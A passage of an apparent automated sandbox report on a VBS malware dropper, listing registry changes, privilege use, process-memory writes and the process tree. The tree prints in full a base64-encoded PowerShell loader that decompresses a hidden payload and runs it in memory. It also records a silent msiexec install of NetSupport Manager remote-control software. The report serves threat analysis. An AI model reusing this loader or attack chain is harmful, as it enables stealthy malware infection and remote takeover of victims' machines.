Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" client32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates cscript.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates cscript.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ToolboxBitmap32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ProgID MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\ProductIcon = "C:\\Windows\\Installer\\{CBB68368-7767-4CFF-B3E5-211488346702}\\ARPPRODUCTICON.exe" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ProgID\ = "IcoViewer.IconViewer.1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\CLSID msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\movfile\shell\show\command MSID7E0.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Control msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\VersionIndependentProgID\ = "IcoViewer.IconViewer" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32\ThreadingModel = "Apartment" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Version MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Version\ = "1.0" MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\Version = "235536387" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ = "IconViewer Class" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\AVIFile\shell\show\command MSID7E0.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0\FLAGS\ = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\NSReplayFile\DefaultIcon msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.rpf\ = "NSReplayFile" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\ASFFile\shell\show\command\ = "\"C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\pcinssui.exe\" /ShowVideo \"%L\"" MSID7E0.tmp Key created \REGISTRY\MACHINE\Software\Classes\NSReplayFile\Shell\Play\Command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\Shell\Play msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Insertable\ msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\CurVer\ = "IcoViewer.IconViewer.1" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" MsiExec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ = "IIconViewer" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\ProductName = "NetSupport Manager" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\CLSID\ = "{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\ASFFile\shell\show MSID7E0.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell MSID7E0.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\Shell\Play\Command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\ = "IconViewer Class" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Control MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\CLSID msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus\1\ = "131473" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0\0 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0\0\win32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\ = "IconViewer Class" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell\show\ = "&Show with NetSupport School" MSID7E0.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\DefaultIcon\ = "C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\PCIVideo.exe,1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\AuthorizedLUAApp = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2C61D9FBB5C49E141B2D086B0653E432\86386BBC7677FFC43B5E124188437620 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile MSID7E0.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nbf0fb79d\a = "M" MSID7E0.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Insertable msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus\ = "0" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\AVIFile\shell\show\command\ = "\"C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\pcinssui.exe\" /ShowVideo \"%L\"" MSID7E0.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{71C5A887-11E0-4c5a-9B9B-D4A074555692}\InProcServer32\ = "Client32Provider.dll" winst64.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable\ msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\BrowserFlags = "8" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ToolboxBitmap32 MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell\show MSID7E0.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1548 client32.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 3484 Pyyidau.vbs.exe 5044 msiexec.exe 5044 msiexec.exe 3136 MSID7E0.tmp 3136 MSID7E0.tmp 3136 MSID7E0.tmp 3136 MSID7E0.tmp 4796 client32.exe 4796 client32.exe 1548 client32.exe 1548 client32.exe 1548 client32.exe 1548 client32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3484 Pyyidau.vbs.exe Token: SeDebugPrivilege 3484 Pyyidau.vbs.exe Token: SeShutdownPrivilege 2508 msiexec.exe Token: SeIncreaseQuotaPrivilege 2508 msiexec.exe Token: SeSecurityPrivilege 5044 msiexec.exe Token: SeCreateTokenPrivilege 2508 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2508 msiexec.exe Token: SeLockMemoryPrivilege 2508 msiexec.exe Token: SeIncreaseQuotaPrivilege 2508 msiexec.exe Token: SeMachineAccountPrivilege 2508 msiexec.exe Token: SeTcbPrivilege 2508 msiexec.exe Token: SeSecurityPrivilege 2508 msiexec.exe Token: SeTakeOwnershipPrivilege 2508 msiexec.exe Token: SeLoadDriverPrivilege 2508 msiexec.exe Token: SeSystemProfilePrivilege 2508 msiexec.exe Token: SeSystemtimePrivilege 2508 msiexec.exe Token: SeProfSingleProcessPrivilege 2508 msiexec.exe Token: SeIncBasePriorityPrivilege 2508 msiexec.exe Token: SeCreatePagefilePrivilege 2508 msiexec.exe Token: SeCreatePermanentPrivilege 2508 msiexec.exe Token: SeBackupPrivilege 2508 msiexec.exe Token: SeRestorePrivilege 2508 msiexec.exe Token: SeShutdownPrivilege 2508 msiexec.exe Token: SeDebugPrivilege 2508 msiexec.exe Token: SeAuditPrivilege 2508 msiexec.exe Token: SeSystemEnvironmentPrivilege 2508 msiexec.exe Token: SeChangeNotifyPrivilege 2508 msiexec.exe Token: SeRemoteShutdownPrivilege 2508 msiexec.exe Token: SeUndockPrivilege 2508 msiexec.exe Token: SeSyncAgentPrivilege 2508 msiexec.exe Token: SeEnableDelegationPrivilege 2508 msiexec.exe Token: SeManageVolumePrivilege 2508 msiexec.exe Token: SeImpersonatePrivilege 2508 msiexec.exe Token: SeCreateGlobalPrivilege 2508 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe Token: SeRestorePrivilege 5044 msiexec.exe Token: SeTakeOwnershipPrivilege 5044 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1548 client32.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4412 wrote to memory of 3484 4412 WScript.exe 86 PID 4412 wrote to memory of 3484 4412 WScript.exe 86 PID 4412 wrote to memory of 3484 4412 WScript.exe 86 PID 3484 wrote to memory of 4636 3484 Pyyidau.vbs.exe 97 PID 3484 wrote to memory of 4636 3484 Pyyidau.vbs.exe 97 PID 3484 wrote to memory of 4636 3484 Pyyidau.vbs.exe 97 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1980 3484 Pyyidau.vbs.exe 98 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 1592 3484 Pyyidau.vbs.exe 100 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 3052 3484 Pyyidau.vbs.exe 101 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 5104 3484 Pyyidau.vbs.exe 102 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 3480 3484 Pyyidau.vbs.exe 103 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 2152 3484 Pyyidau.vbs.exe 104 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4824 3484 Pyyidau.vbs.exe 105 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 4992 3484 Pyyidau.vbs.exe 106 PID 3484 wrote to memory of 2160 3484 Pyyidau.vbs.exe 107 PID 3484 wrote to memory of 2160 3484 Pyyidau.vbs.exe 107 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3504 attrib.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3444
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe"C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" -enc JABBAHEAdwB3AHMAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABHAHkAaQBlAHAAZwBrAHcAdgByACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAQQBxAHcAdwBzAGMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEcAeQBpAGUAcABnAGsAdwB2AHIALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEkAdwBxAGIAdwBjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAIAApADsAJABFAG0AYgBtAGUAcwBqAHMAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUgB3AHAAdQB4AHcAYQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABJAHcAcQBiAHcAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbwBwAHkAVABvACgAIAAkAEUAbQBiAG0AZQBzAGoAcwBsACAAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbABvAHMAZQAoACkAOwAkAEkAdwBxAGIAdwBjAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgACQARQBtAGIAbQBlAHMAagBzAGwALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFgAcwBsAG0AdwBtAG8AcQBnAGsAegApADsAIAAkAE4AZgBrAGYAZwB0AHQAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBHAGUAdABEAG8AbQBhAGkAbgAoACkALgBMAG8AYQBkACgAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAKQA7ACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0AIAA9ACAAJABOAGYAawBmAGcAdAB0AHIALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0ALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAdgBmAG4AeAB1AGsAbgByAG0AbQAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\50d669f573135aafd57c..vbs"4⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:4636 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\vrep.msi" /quiet5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2508
-
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:1980
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:1592
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3052
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:5104
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3480
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:2152
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:4824
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:4992
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:2160
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:768
-
-
C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" /Y1⤵
- Process spawned unexpected child process
PID:2212
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5044 -
